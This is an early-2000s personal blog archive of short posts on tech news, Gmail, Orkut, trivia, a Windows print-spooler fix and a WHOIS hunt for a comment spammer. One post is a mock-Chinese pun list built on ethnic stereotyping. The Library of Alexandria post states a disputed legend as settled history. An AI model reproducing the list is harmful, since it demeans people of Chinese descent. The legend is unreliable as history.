March 17, 2005

Paid search market shares revisited

ZDnet reports that, per ComScore Networks, market share for paid search is dominated by Google (35%), Yahoo (31.8%) and MSN (16%). Who owns the remaining 17.2%? How do they compute this? By revenue? By clicks?

Posted by torque at 9:58 AM | Comments (0) | TrackBack

February 23, 2005

Capybara at the park!

I received this lovely email from Acacio yesterday, as you can imagine, it made my day.


I took a picture of those two here in Rio.

Here is why the Catholic Church considers them fishes:

Hope you're hungry.


This cute couple was spotted at a park in Rio called Quinta da Boa Vista.

Posted by torque at 3:31 PM | Comments (2) | TrackBack

February 2, 2005

Scott McNealy on the [next] evil empire

19 Nov 2001It really is mankind against Microsoft. ...we're the ones wearing the white hat. [1]
22 Mar 2003This is mankind vs. Microsoft. And we’re winning. [2]
16 Sept 2003It's been Java Web services versus .NET--and mankind won. It's over. Java Web services is the platform. [3]
6 Oct 2004Microsoft needed a partner, their customers wanted choice. One is an unstable molecule. Who else are they going to choose as their second source? You know, Sun and Microsoft aren't that competitive. We don't do MSN, we don't do Xbox, we don't do applications. They don't do computers, storage or infrastructure. They weren't going to do it with Larry (Oracle). They weren't going to do it with IBM. They can't stand IBM. They at least respect us. They really don't like IBM. And they hate the GPL. [4]
5 Feb 2005It is humankind versus IBM Global Services, and we are kind of the leader of mankind in this aspect. [5]

[1] Q&A with Scott McNealy, BusinessWeek, 19 Nov 2001.
[2] Mankind vs. Microsoft: We’re winning says McNealy, CIOL Bureau, 22 Mar 2003.
[3] Welcome to SunNetwork -- Scott McNealy's keynote, SunNetwork Conference 2003, 16 Sept 2003.
[4] A. Vance, McNealy: Microsoft needs Sun to beat IBM and Red Hat, The Register, 6 Oct 2004.
[5] M. Kanellos, Sun lights up its grid, ZDNet, 5 Feb 2005.

Posted by torque at 2:52 PM | Comments (4) | TrackBack

January 31, 2005

GmailSwap alternative

Joshua H, at 13, has setup a phpBB-based GmailSwap Alternative. "When I got some more gmail invites, I decided that I would get rid of them where I got my Gmail account, Gmail Swap," he said. "I was so shocked that it shut down, I went out and set up my own site." Starting on using message boards from, he was swifted invited to hop on to John Fogleman's hosting in exchange for Google Adsense placement (smart John...). "My vision is that everyone who wants a Gmail account and doesn't have one will get one. This is also why I made the site..."

Josh has been making websites for 5 years. Think about that!

Posted by torque at 9:08 PM | Comments (1) | TrackBack

January 10, 2005

Augment your Chinese vocabulary

  • Did you go to the beach?.............Wai Yu So Tan?
  • I bumped the coffee table...........Ai Bang Mai Ni
  • I think you need a face lift...........Chin Tu Fat
  • It's very dark in here..................Wai So Dim?
  • I Thought you were on a diet......Wai Yu Mun Ching?
  • This is a tow away zone................No Pah King
  • Our meeting was rescheduled.........Wai Yu Kum Nao?
  • That's not right!....................Sum Ting Wong
  • Are you harboring a fugitive?.......Hu Yu Hai Ding?
  • See me ASAP................................Kum Hia
  • Stupid Man!................................Dum Gai!
  • Small Horse...........................Tai Ni Po Ni
  • Staying out of sight....................Lei Ying Lo
  • He's cleaning his automobile.........He Wa Shing Ka
  • Your body odor is offensive...........Yu Stin Ki Pu
Spotted, with no citation, all over the web.

Posted by torque at 11:47 AM | Comments (3) | TrackBack

January 4, 2005

Water compressibility

Marcos asked me today about the compressibility of water. Indeed, liquid water is not incompressible, only nearly incompressible. The CRC provides a table of density as a function of temperature. You would expect something similar at varying pressures, e.g., at different levels in the ocean.

Posted by torque at 1:27 PM | Comments (4) | TrackBack

December 13, 2004

80s Peyo Smurf Promo Glasses

The complete set consists of the following:

  • 1982 - Papa, Gargamel and Azrael, Smurfette, Grouch, Brainy, Hefty, Jokey and Lazy (9), and
  • 1983 - Papa, Clumsy, Smurfette, Baker, Handy and Harmony (6).

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December 4, 2004

Who is Kent Weeks?

Kent R. Weeks is an American archaeologist specializing in ancient Egypt. Some of his work on what he believes is Ramses II firstborn son's skull will be featured on Discover this Sunday. Discover's own advertising campaign has been extremely aggressive. The theme? Do you dare question the Bible. Was the tenth plague the "wrath of God or Man"? beliefnet has an interview with Charles Sennott, an author and news correspondent who worked with the Discover Channel on the program. His article from the Boston Globe has been posted here.

Weeks is a professor of Egyptology at American University in Cairo. In 1965, he received his Master's degree from the University of Washington and his Ph.D. in Egyptology from Yale University in 1970 [1]. He's written a number of books on KV5 a dig done by James Burton in the early 19th century. His claim to fame is having re-discovered the entrance to the tomb while working on his Theban Mapping Project. Here's a bibliography.

1. Kent R. Weeks, Anthropology Biography Web, MNSU eMuseum.

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November 23, 2004

Holy sandwich!

sandwich_narrowweb__200x270.jpgThis is completely bizarre. Today, news24 reported on a 10-year old sandwich being sold for nearly $30,000.

A 10-year-old grilled cheese sandwich whose maker says bears the image of the Virgin Mary, was sold for $28 000 after one of the most bizarre bidding wars on the auction website eBay.

The cheese sandwich had received offers as high as $99m before eBay officials called the seller and urged her to verify the bids to make sure they were legitimate

The winning bid was made by GoldenPalace, an online casino. Of course, you can guess how many links now link to this casino. I'd say it was probably a great business decision.

Posted by torque at 1:55 PM | Comments (0) | TrackBack

October 25, 2004

Kessler economics

Cecil Johnson has an interesting article in the Star-telegram on Andy Kesseler's economics who argues that the trade deficit is not such a big deal. Here's the synopsis, think Toshiba laptop. A $300 Intel chip and $50's worth of Microsoft XP get purchased by Japan. In exchange, I buy the computer for $1000 - a $650 trade deficit. Bad. But look closer. The $300 chip made Intel $250, the software, $49.95. The hardware? They were lucky to make $50 overall. So who won?

Microsoft and Intel together spent $50 and made $350 - about 700%. Toshiba? It spent $950 and made $50. Interesting huh?

Posted by torque at 5:17 PM | Comments (0) | TrackBack

October 16, 2004

Microsoft's speech recognition

this post will be entirely dictated using Microsoft's speech recognition technology as you can see for some words not so bad I can tell you that every time you will get the word Microsoft see Microsoft Microsoft Microsoft. Everything else however is not so clear . Is there something that I can say well you know what where first carry using it and took a long time before the words even (ahead to train about five times reading a substrate bowls among other things is the road actuI think that they are eastward Miller said the race were you race word you raise the rates were the race were

hoping for was unclear is trying to say you use the word of Cisco's into their lot of things the rest of trade messed up. Interesting this could be anywhere generate massive message content that seem to make sense and have some intelligible value and look for that look completely random audit.

today we went to a picnic it was a CC a frustrating . CC accessto his hard to resist pressing the backbone Italian. It was hosted by Michael. We had hamburgers, hot dogs, potato salad, and Sonja made some tasty potato bonds are some tasty corn pudding . A space taxpayers backspace .

We'll have a case like this is a wake for its only 348 minus is a way , is in the center he's very sleepy minus line is Linus yen line is minus minus ten visit was meant . Sonya is having coffee with her friends and here I am beginning to a computer with my son Linus he's my friend of mine by the highlight of Linus anybody but the body by the bloody line by the Intel, disappointing OK but by

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October 13, 2004

Jail, prison and penitentiary

Sweetie asked me what the difference was between "jail", "prison" and "penitentiary". Of course, I just had to find out, even though I should really be sleeping right now so that I can do good work tomorrow and have a cheerful attitude. Well, here it is, courtesy of Jim Ferr.

a "jail" is for incarceration of prisoners while awaiting trial, or after sentencing on misdemeanors (less serious offenses) even if the combined sentence on more than one misdemeanor is over a year. A "prison" is for incarceration for the conviction of a felony. A "felony" is a crime punishable by imprisonment for over a year. A "penitentiary" is a "federal prison" for sentencing by a federal magistrate (Judge or acting Judge) for a period of time over a year.

Posted by torque at 12:57 AM | Comments (1) | TrackBack

August 9, 2004

The deepest pit

CNN today reported on explorer's finding the world's deepest hole. Located in inside a mountain range in central Croatia, the cave weaves for 203 feet and then plunges down 1,693 feet, said Ana Sutlovic Baksic of the Velebit Speleological Soceity. Spelunking is apparently quite popular in Croatia. You might wonder what might be at the bottom of such a pit, should you ever accidentally fall in... would you believe, one of the largest known colonies of subterranean leeches? Great. I wonder what they eat down there... fish?

Posted by torque at 11:58 PM | Comments (0) | TrackBack

July 29, 2004

Pair: singular or plural?

Is pair singular or plural? I suppose that 'a pair' is singular but 'the pair' plural? As you can see, I'm very confused. From Bartleby,

The noun pair can be followed by a singular or plural verb. The singular is always used when pair refers to a set considered as a single entity: This pair of shoes is on sale. A plural verb is used when the members are considered as individuals: The pair are working more harmoniously now. After a number other than one, pair itself can be either singular or plural, but the plural is now more common: She bought six pairs (or pair) of stockings. For more on this, see subject and verb agreement under Grammar.
What if it is a pair of hoodlums, as in, "a pair of hoodlums are walking down the street." Does that sond right? Or is it, "a pair of hoodlums is walking down the street." Ok that sounds worse.

Posted by torque at 3:11 PM | Comments (3) | TrackBack

July 24, 2004

Col. Sanders' secret recipe

My son and I had a bit of Kentucky Fried Chicken at the beach this morning. I have to say, that is tasty stuff. What do we know about the recipe? According to KFC, the recipe, developed at a roadside restaurant in the 30s, is locked away in a safe in Louisville, KY. It consists of 11 herbs and spices. Previously mixed on a "specially cleaned concrete porch", today the blend is put together by two companies using computer processing systems. Neither company knows the complete recipe.

coverWilliam Poundstone's Big Secrets has the most thorough discussion of the secret recipe. He reportgs, according to an interview of Sanders in The New York Times, that the herbs and spices "stand on everybody's shelf". Poundstone managed to get a sample of the powder from a KFC employee and had it analyzed in a lab - the result? No herbs, one spice: black pepper, salt, flour and MSG. Hmmmm...

On a thread, I found someone who claimed to have the original recipe:

2 cups of flour,
1/2 tsp salt,
1/2 tsp thyme,
1/2 tsp basil,
1/2 tsp oregano,
1 tbsp celery salt,
1 tbsp black pepper,
1 tbsp dry mustard,
4 tbsp paprika,
2 tsp garlic salt,
1 tsp ground ginger,
3 tbsp MSG (accent)

Mix all ingrediants in a large bowl.

Dip chicken pieces in beaten eggs, then turn them over in regular bread crumbs (commercial). Finally plunge them into the above mix.

Heat oven to 350 degrees. Place chicken in a tray and cover with foil. (shiny side out) Cook 40 minutes. Remove foil and cook for another 40 minutes. Baste lightly with oil 5 minutes before the end, let stand 5 minutes and serve.

Someone try this and tell me if works.

Posted by torque at 8:08 PM | Comments (6) | TrackBack

July 22, 2004

Preskill's baseball encyclopedia

Of all the possible encyclopedias to choose from, why did John Preskill insist on Total Baseball: The Ultimate Baseball Encyclopedia?

I can tell from his site that he is a baseball fan. Nestled underneath physics-related poems are Baseball: ESPN Sportszone and the A-hats Team Song (Caltech's quantum optics softball team). Preskill is also an expert in quantum computing, might the spin of a baseballs have led him there?

Posted by torque at 2:27 PM | Comments (0) | TrackBack

July 13, 2004

spoolsv.exe hogging 99% of cpu - the fix

I came into lab to find the printer printing strange ASCII characters, one line per page, and a basically inoperably slow PC. Checking Task Manager, I found the culprit - one spoolsv.exe at 99% cpu which I killed. About 30 seconds later, the cpu was once again clogged by a revived app. Here's the fix. First, get some breathing room - go to Control Panel, Administrative Tools, Services and stop the Print Spooler. Turn off the printer. Now go to C:\WINDOWS\system32\spool\PRINTERS and delete the files there. I found '00020.SHD' and '00020.SPL'. Now turn your printer back on and restart the service. Check task manager, spoolsv.exe should be at 00%. Whew!

I'm glad that this post has been of use to you. It drove me crazy too. In my particular case the problems started occuring again after a couple days. This happend because the 'bad' spooler files were coming from another computer on the network. Once that person gave up printing that file, the madness stopped. If you are on your own, chances are it is just a corrupt print file that needs to be cleared out.

BTW, if you would like to contribute, one way to do it is to make a link to this page using the keyword 'spoolsv.exe'. Spread the love!

<a href="">spoolsv.exe<a>
Also, if you need inkjet cartridges and toners, checkout Inkblvd. They are having a free shipping promotion on orders above $55.

Posted by torque at 4:26 PM | Comments (285) | TrackBack

July 10, 2004

The Library of Alexandria

I want to know more about the Library of Alexandria. Why was it so famous? Were there other libraries of similar repute? What happened to it?

The library at Alexandria actually competed with that at Pergamum in amassing the most complete collection of books in the world. This went on in the 200's B. C., and it is interesting to note that there were already so many works in existence that obtaining a copy of each would have been an impossible undertaking even then. The destruction of this priceless treasure was a stroke of the most unimaginable bad luck. If Byzantine Egypt had been taken by one of the later Islamic conquerors, this irreplaceable collection would have been counted amongst the finest of the spoils of war to fall into a victor's hands.

Early in the year A. D. 642, Alexandria surrendered to Amrou, the Islamic general leading the armies of Omar, Caliph of Baghdad. Long one of the most important cities of the ancient world and capital of Byzantine Egypt, Alexandria surrendered only after a long siege and attempts to rescue the city by the Byzantines. On the orders of Omar, Caliph of Baghdad, the entire collection of books (except for the works of Aristotle) stored at the Library of Alexandria were removed and used as fuel to heat water for the city's public baths.


Posted by torque at 12:35 AM | Comments (2) | TrackBack

June 29, 2004

Gmail security alert

Going to the Gmail page this evening, I got the following security alert:


"The name on the security certificate is invalid or does not match the name of the site." Hmmm, that doesn't sound so good. What to do...

Posted by torque at 8:47 PM | Comments (6) | TrackBack

June 24, 2004

Consiliere? Consillieri?

It's properly spelled "consigliare", as in

1. consigliare, raccomandare
2. avviso, consiglio

Posted by torque at 12:33 PM | Comments (0) | TrackBack

June 19, 2004

Friendship Village, MD - the densest place in America

According to US census data, the densest place in America is Friendship Village, MD coming in at 81992 people per square mile. At about 0.055 square miles, it can hardly be called a town.

Posted by torque at 11:49 PM | Comments (0) | TrackBack

June 14, 2004

Invisible cloak via retro-reflectum

I've been thinking about how to do this for several years - but someone has actually gone and done it! Imagine, an invisible cloak just like Frodo. The BBC has the scoop. The inventor is Susumu Tachi, who started developing the idea in 1977. He is a professor at the University of Tokyo in the Deptartment of Information Physics and Computing. The cloak was on-exhibition this month in San Francisco.

So what is retro-reflectum? Also referred to as retro-reflective material, the term brings up absolutely nothing on Google. The answer can be found in the latest of Professor Tachi's patents, US6341869.

A projector is disposed at a position that is optically conjugated to a position of eyes of an observer. The projector projects an image to a screen that has retroreflection function so as to provide information of virtual space to the observer. If a real object such as a tactile sense provision device that is to be shielded by the virtual space exists, a part or the whole of the real object is optically hidden from the projection of the projector by a shielding member having retroreflection function, for example, by placing a shielding screen on which a retroreflection material is coated, or by coating the retroreflection material.
Demonstrations of the technology can be found on their project website. So cool!

Posted by torque at 9:50 AM | Comments (4) | TrackBack

June 2, 2004

Handbook of Fuel Cells : Fundamentals, Technology, Applications

As you might now, biopotential measurement is intimately related to fuel cell research. Remember that it was the great argument between Volta and Galvani that spurned on Volta to developed the voltaic pile - today the chemical battery. Enter this whopper of a book: the Handbook of Fuel Cells : Fundamentals, Technology, Applications is 2500 pages consisting of hundreds of articles from hundreds of authors for a mere $1,565.00. And no, that ain't HK dollars.

Posted by torque at 5:20 PM | Comments (0) | TrackBack

May 28, 2004

Ahh, the tongue ring

Can you believe that in April 2004, Overture had 37814 searches for "tongue ring(s)"? That's really something.

Posted by torque at 5:47 PM | Comments (0) | TrackBack

Dremel Multipro

Amazon is the best place to buy a Dremel by far! I thought for sure that that I could get a good deal elsewhere. No, check Froogle. With free shipping, nothing even comes close. Sheesh, they even have a low price guarantee. Just be careful with the model numbers. I'm going for the Dremel 3956.

  1. Dremel 3956-02 Variable Speed MultiPro Super Kit With 77-Piece Accessory Kit - $71.24
  2. Dremel 3962-02 Variable-Speed MultiPro Tool Kit - $59.99
I'll also be getting some cup burs from Sante Fe Jewelers Supply.


Where not to get it: Newark InOne for a whopping $161.02. Oh man, these guys are pirates! You would have to have beyond a 50% discount with them to even get close to Amazon. What's up with that. Maybe you get two-for-one? They aren't the most expensive... or are they? I think $12999.00 is a typo.

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May 25, 2004

Tin and Zinc Whiskers

All lot of times when we deal with electronics we think that things will last forever, or at least several lifetimes. Of course, mechanical parts wear out, but electronics? Looking for information on electroplating this afternoon I landed on NASA's Tin and Zinc Whisker Photo Gallery. The gallery has a series of close up images on whiskers that form between capactitor plates and relays. Over time, these can cause shorts with serious implications (think Phoenix Missles and F-15 radar systems). Jay Brusse has a related article on zinc whiskers being "cited as the root cause of costly computer system failures". In addition, the zinc filaments, with diameters in the micrometers (thousandths of millimeters) when knocked off could be breathed in. These whiskers can grow as fast as 1 mm/year. Why zinc? Zinc plating is often used to protect against corrosion. Interesting, I bet that in some cases, whacking the electronics does make it work better because it knocks the filaments off. You can bet, though, that the trunk of the filament serves as a base for even faster growth next time, so that the electronics fails more and more until you give up and throw it out the window.

Posted by torque at 1:22 PM | Comments (0) | TrackBack

May 21, 2004

Los Altos real estate

Los Altos is probably one of the best places to live in the Bay Area - if you can afford it. The Silicon Valley Real Estate Report has a nice blurb on Los Altos. Interestingly, amongst 10,611 residential units: 9,386 single-family homes, 346 attached homes and 876 multiples there are exactly 3 mobile homes. Downtown is quite charming and the schools first class. Los Altos Online has a lot more information, including a list of realtors. As an update to the previous post, according to a California Associaton of Realtors press release, "the 10 cities and communities with the highest median home prices in California during the first quarter of 2004 were: Manhattan Beach, $1,292,0000; Los Altos, $1,257,360; Beverly Hills, $1,250,000; Malibu, $1,112,500; Burlingame, $1,100,000; Palos Verdes Estates, $1,090,000; Laguna Beach, $1,087,500; Calabasas, $1,050,000; San Marino, $990,000; Orinda, $963,500." Where's Palo Alto? Only $792,000. The full report, from Q1 2004, is available here. A comparison from Q1 2003 is also present. Most interesting? Los Gatos. The median sales price went from $669,000.00 to $927,000.00 (~39%).

Posted by torque at 3:20 PM | Comments (0) | TrackBack


If you haven't yet, you should check out HP's SpeechBot. SpeechBot is "a search engine for audio & video content that is hosted and played from other websites." It uses speech recognition to generate the data files. Nice! So far 17517 hours of content have been indexed from a variety of stations and sources. Check it out. It's not perfect. But it isn't too bad.

Posted by torque at 9:30 AM | Comments (0) | TrackBack

May 19, 2004

Unbelievable - Gmail swap

Someone actually went through the trouble of setting up an organized gmail swap. That's really something.

Posted by torque at 4:13 PM | Comments (1) | TrackBack

May 18, 2004

Gmail ups ante!

Woo woo! What will Hotmail and Yahoo do now?

Ok, ok, it could be just a temporary bug. Though, Google is reputedly giving their own employees 1 TB.

It was just a temporary bug. Drats.

Posted by torque at 4:54 PM | Comments (1) | TrackBack

May 11, 2004

Going retro with Vodka

Pete Wells has a facinating article in Food & Wine this month on vodka going retro. He gives a nice overview on how vodka is made, with a focus on the transition from pot stills (think bathubs, Chicago gangsters and going blind) to Aeneas Coffey's columnar still. The column strips out all the flavor, nasty or nice, leaving, as the U.S. government defines, "a neutral spirit... without distinctive character, aroma, taste or color." The trend these days is to return to pot stills, or pot-column hybrids in order to put the taste back into vodka. Absolut's Level is example from a major company. Of course, once there is taste, is it really still vodka?

Posted by torque at 10:24 AM | Comments (39) | TrackBack

May 6, 2004

Orkut growth rate

Sometime tomorrow, Orkut will hit 300,000 members. By my calculations, it is growing slightly better than linearly at about 4000 members a day. As a reference, LinkedIn has around 500,000 members. Friendster spokeswoman Lisa Kopp claims 7.5 million users as of 4/23/04, 6.25 million as of 4/8/04 (this must not be quite right - that's 83,000 per day!!).

At last, someone more obsessed than I am. I can finally rest. Check out Anthony Hempell's Orkut at Eleven Weeks.

Posted by torque at 11:22 PM | Comments (1) | TrackBack

What kind of cheese are you?

swiss.gifSonja will laugh - full of holes! What are you? This link found at elephantsoap. I am swiss cheese. I am pale yellow, nutty-flavored cheese with large holes. I am indifferent to the world around me. I am dreamy and often lost in my thoughts.

Posted by torque at 3:26 PM | Comments (136) | TrackBack

May 5, 2004

Banana juice, banana peels and L-DOPA

How about that, did you know that the banana peel contains L-DOPA (dihydroxyphenylalanaine)? 100 mg per 100 gm of peel. This from the banana juice man, Dr. Surendranathan. L-DOPA is used to treat diseases of the nervous system such as Parkinson's disease.

Posted by torque at 10:17 AM | Comments (2) | TrackBack

May 4, 2004

Microsoft patents apple

Microsoft patents apple - a Burchinal Red Delicious, to be precise. U.S. plant patent 14,757.

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May 3, 2004

Disney's Tower of Terror opens

Disney's Twilight Zone Tower of Terror opens this Wednesday. Located in Disney's California Adventure, the ride is essentially a 13-story free-fall with a twist. The elevators will "rush up and down faster than they would in free fall and change direction without warning". According to Reuters, the ride cost $75 million. If you aren't into surprises, you can hit the spoilers at See I didn't even post a picture.

Posted by torque at 4:30 PM | Comments (1) | TrackBack

April 29, 2004

Google files for $2.7 billion IPO

How about that... after all the anticipation. Forbes has a cool comparison between Google and Yahoo. Most striking? Google revenues $1 billion, Yahoo! revenues, $1.6 billion.

Posted by torque at 12:21 PM | Comments (0) | TrackBack

April 28, 2004

Single-crystal superalloy turbine blades

I met Morgan, one of Professor Melosh's students, this morning. In his prior life at Georgia Tech, he did a project on modeling fatigue in superalloy turbine blades at GE. Amazingly, they can now make 30-lb single crystal nickel-based superalloy turbines. These are used in generators and are expected to have useful lives exceeding 40 years. The secret of making such large single crystals is in the turn. You start with a number of crystal nuclei and grow these in the same direction. When they hit a turn, the fastest growing crystals grow faster, since they have first access to the media. Eventually, if you turn enough times, there will only be one. You then grow this into a mold. Cool huh? This corkscrew mechanism is called a grain selector. Here's a description from an article on monitoring growth using x-ray diffraction:

During casting experiments, a metal alloy charge is placed in the crucible of the mold. After a 1 Pa vacuum has been established, the gate valve is opened, and the ram raises the mold into the hot zone of the furnace. The alloy melts, filling the mold. Solidification of polycrystals initiates at the base of the mold in the starter block where the alloy contacts the water-cooled ram. The fastest-growing grain reaches the grain selector (a corkscrew-shaped section of the mold) first and blocks growth of all other crystals with differing orientation. If the thermal conditions are correct, growth of a single-crystal continues upward in the mold as the mold is slowly withdrawn (150 mm/h) vertically from the furnace. Polished and etched sections of the completed castings showed a dendritic structure with several phases and an absence of grain boundaries.

I wonder if this technique is being used to grow holographic crystals. Turbine blades like the ones I talked about are used in power plants and in jet planes.

Posted by torque at 11:19 AM | Comments (5) | TrackBack

April 24, 2004


At Mike's birthday party today I saw a Spirograph-like toy, made in China, with no indication of the word "Spirograph". Very cheap but perfectly functional. Did the patent expire? Was there ever a patent? I spent a lot of time with this toy when I was young. I found a version at Amazon, though this also looked very cheap and not at all like the original, not to mention being out of stock. I found some that looked like what I played with on eBay. I guess they really don't make them like they used to.

As you might have expected, I immediately thought of ways I could implement an online version. Fortunately for my dissertation, a lot of other people already have. Anu Garg wrote a particularly nice Spirograph java applet. Play with it!

Created by Anu Garg

The Spirograph was invented by Denys Fisher (1918-2002), a mechanical engineer from England. Using interlocking wheels, it allowed anyone, young or old, to make incrediblely intricate patterns by simply following around the main wheel with a smaller wheel through which you put the point of a pen. Fischer introduced the Spirograph at the 1965 Nuremburg International Toy Fair where it was picked up by Kenner. In two years, 5.5 million sets had been sold, making it the number one toy in the U.S.. For more on the history of the Spirograph and other toys check out David Hoffman and Viktor Budnik's Kid Stuff: Great Toys from Our Childhood. Interestingly, Fischer conceived the idea while doing research on new design for bomb detonators for NATO.

Can't stop? Want more?

  • Wolfram Research's mathworld, quite specifically, defines a spirograph as a hypotrochoid generated by a fixed point on a circle rolling inside a fixed circle.
  • A spirograph creates roulette guilloché patterns, interestingly, the patterns on paper currency are made using related, but more sophisticated, methods
  • Spirograph from 1965 on eBay, first edition!
  • Oh wow... Denys Fisher, the Fisher of Fisher-Price? No, Fisher-Price was founded in 1930 by Herman Fisher, Irving Price and Helen Schelle.
  • US3230624, as well as other Fisher patents

Posted by torque at 9:35 PM | Comments (0) | TrackBack

April 20, 2004

RFID for the masses

Ken and I have been talking for sometime on RFID apps. A very interesting article came up to day in the RFID Journal. Entitled "HP Designs Tracking System", it discusses HP's new RFID tracking system which consists of readily available hardware. The tracking system apparently cost less than $2000. Still not perfect for home use, the cost is certainly feasible for industrial use. To precisely locate the object, three small nodes (made by HP) use a combination of RF and ultrasound pulses to triangulate distance. The white paper, dated 2/23/04, gives a little more information about the project.

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Open source useability

John Gruber's Ronco Spray-On Usability nteresting read on open source useability. He argues that for things to be really useable, they need to be closed and commercial because "successful open source software projects tend to be at the developer-level, not the end-user level. E.g., successful open source projects have programming interfaces, not user interfaces. Apache, Perl, Python, gcc, PHP, the various SQL databases."

Posted by torque at 9:52 AM | Comments (0) | TrackBack

April 19, 2004

Bob Kolody versus Coca Cola

Fong sent me a very interesting set of articles on an impressively low-profile case involving Coca-Cola and an independent marketing consultant named Bob Kolody. It is a long read, and I'm by no means done (someone's gotta work around here...), but quite intriguing. Kolody alleged that Coca-Cola stole the concept used on the Classic Coke can from an illustration he presented to them in 1989, then proceeded to cover their tracks by fabricating documents to make it seem like it came from inside Coca-Cola. The case was eventually dismissed and petitions for rehearing denied. Keep in mind as you read the text that it mostly sides with Kolody.

Posted by torque at 2:34 PM | Comments (1) | TrackBack

April 18, 2004

Bandwidth of TV channel

The bandwidth for a TV channel in the US is 6 MHz. For over-the-air channels, the channel 2 starts at 54 MHz. More information about the radio spectrum can be found on this (very dense) chart.

Posted by torque at 2:13 PM | Comments (1) | TrackBack

January 22, 2004

Take down Jay Kim!

This guy commented on every single one of my blog entries advertising his drug websites. Arrgghhh... Unfortunately this version of MoveableType has no straight-forward way of clearing out this mess, except by deleting one by one. Work with me folks, let the hunt begin! Is it even his real name? I started at

Jay Kim
24 Finchley Road
London 10024 UK
The registrant email is

What's at 24 Finchley Road? Thanks to Google I found a list of restaurants in London. The Lord's Rendezvous is a Chinese restaurant located at 24 Finchley Road, NW8 6ES. The phone number is 0171 722 4750. More information on the Lord's Rendezvous can be found in the Diary of Anne Ku. Interesting, a restaurant in London previously known as the Lord's Rendezvous is now known as the Royal China Restaurant. But is it at 24 Finchley Road? I tried looking for "24 Finchley" and "London" and found

D Aiou
24 Finchley Road, London, NW8 6ES
Tel: 02077224750 Fax:
ADDED: 01 September 2002
at A map can be found here. Sure enough, St. John's Wood.

You know what's kinda funny, 24 Finchley is this restaurant site in the UK, and yet the Postal Code is 10024, New York, NY. What's up with that? Slightly more information is available at the godaddy registrar

Administrative Contact:
Kim, Jay
24 Finchley Road
London 10024
United Kingdom
Is this the real number? It says that it was created 03-Aug-03. Not quite a proper uk number but very close. All his sites are hosted from the same server. Take a look at On you can look up the 1299 other names that are hosted at the server. It's a big list of spammer sites. The IP address is, hosted in Canada by Rackforce Hosting.

Posted by torque at 1:00 PM | TrackBack

December 20, 2003

Hotmail and Outlook Express

If you already use Hotmail, you should consider reading and sending mail using Outlook Express. The integration is quite tight. You can also import your address list from hotmail, though, with multiple accounts, it could start getting a bit messy.

Setup Hotmail on Outlook Express

  1. Open up OE and go to Tools then Accounts
  2. Select the Mail tab and click Add then Mail...
  3. Fill out the forms making sure to add "" to your email address
  4. Accept all the default settings
Import the Hotmail Address Book
  1. Select Tools, Address Book...
  2. Then, in the Address Book window, select Tools. Synchronize Now
  3. Enter your Hotmail password and it should import your address book into OE
Ok, several comments here. First of all, if you make any changes to your local address book, i.e., your OE address book, you must select Synchronize Now in order to see the changes in Hotmail. If you have multiple Hotmail accounts, this can help you combine address books (or, depending on your point of view, mix them all up). That said, it is probably good to have all your address books put together. Have fun!

Posted by torque at 10:57 AM | Comments (18) | TrackBack

December 18, 2003

How much gold?

How much gold is in a human body? Recently, Ahnlide et al. (Malmo University Hospital, Sweden) found the concentration of gold in blood to be <0.04-0.15 μg/L using inductively coupled plasma mass spectrometry [1] for those without dental gold. For those with dental gold the concentration ranged from 0.04-1.07 μg/L. The detection limit was 0.04 μg/L. The average human adult has approximately 5 liters of blood. One might, however, expect gold to be taken up into tissues such as the liver. Indeed, in 1962, Parr and Taylor, demonstrating the determination of gold in biological materials via thermal neutron activation analysis, showed the gold concentration in human liver to range between 13 and 790 μgμ/g wet tissue, with a median value of 57 μμg/g and a mean of 114 μμg [3]. The CRC Handbook of Toxicology places the mass of the human liver at 2.3 g/100 g body weight [4]. Using a 70 kg human gives us 1610 g, which gives us approximately 0.02 μg of gold (using the mean value). So, a lot more gold hangs around in blood then in the liver. Actually, in the 50s it was quite popular to subscribe to the alchemical properties of gold. In this case, the subjects (22 males and 10 females), ages ranging from a few hours after birth to 80 years, had never been treated with drugs containing gold. The liver samples were taken post-mortem. Those interested in the toxicology of gold should do a search on "gold" at on Patty's Toxicology, Tox Issues Related to Metals/Neurotoxicology and Radiation/Metals and Metal Compounds [5].

[1] I. Ahnlide, C. Ahlgren, B. Bjorkner, M. Bruze, T. Lundh, H. Moller, K. Nilner and A. Schutz, "Gold concentration in blood in relation to the number of gold restorations and contact allergy to gold," Acta Odontol.Scand., vol. 60, pp. 301-305, Oct. 2002.
[2] L. Lee, "Volume of Blood in a Human," in The Physics Factbook, G. Elert, Ed., [Online document], 2001, [cited 18 Dec 2003]. Available:
[3] R.M. Parr and D.M. Taylor, "The Determination of Gold in Human Liver by Thermal Neutron Activation Analysis," Phys. Med. Biol., vol. 8, pp. 43-50, 1962. Available:
[4] M.J. Derelanko, "Risk Assessment," in CRC handbook of toxicology, M.J. Derelanko and M.A. Hollinger Eds. Boca Raton: CRC Press, 1995, pp. 645.
[5] D.R. Juberg and F.T. Hearne, "Silver and Gold," in Patty's Toxicology, 5th ed., E. Bingham, B. Cohrssen and C.H. Powell Eds. New York: Wiley, 2001,

Posted by torque at 3:49 PM | Comments (5) | TrackBack

December 11, 2003


Interviewing for a quantitative finance firm... better brush up on your statistics.

Posted by torque at 2:37 PM | Comments (0) | TrackBack

Copyrights and books

A book that I wanted for my thesis is out of print and expensive ($68-150) on alibris. It made me wonder if it was out of copyright law yet. UPenn has an excellent site on how to see if a book can go online. It has instructions on searching the Library of Congress database for copyright renewals. Cool! My book, unfortunately, had its copyright renewed in 1989.

RE-447-729                   (COHM)        ITEM 1 OF 1 IN SET 1
TITL: A History of the electrical activity of the brain; the first
      half-century.  By Mary A. B. Brazier.
CLNA: acMary A. B.  Brazier (A)
           DREG: 20Nov89
ODAT: 17Oct61;
OREG: AI-7489.
LINM: NM: all new except quotations and ill. cited.

Posted by torque at 11:26 AM | Comments (0) | TrackBack

December 3, 2003

Newark Inone customer service stinks

I tried Newark Inone's highly advertised online help, and this is what I got:

Below is a transcript of your session.

Thank you for contacting our live service center.

You: Can you help me

Automated Agent: Thank you for contacting Newark InOne website support. All of our live account representatives are helping others at this time. Please email us at If you need immediate support please contact 1-800-NEWARK-T (1-800-639-2758)and select option 1.

You: hi

Ready to start a live conversation. Your representative is Automated Agent Please wait for the next available representative Welcome to our Live Customer center!

For the record, I've been on the phone waiting for the "next customer service representative" for about 20+ minutes now...

Posted by torque at 2:50 PM | Comments (2) | TrackBack

November 19, 2003

Restoring data on Leland

I have a partition on /afs/ir/data. Earlier today I accidentally delete some crucial scripts I had written. It took sometime to figure out how to restore this. Thank God for Leland FAQs. See #9. First figure out the volume using fs examine. I got

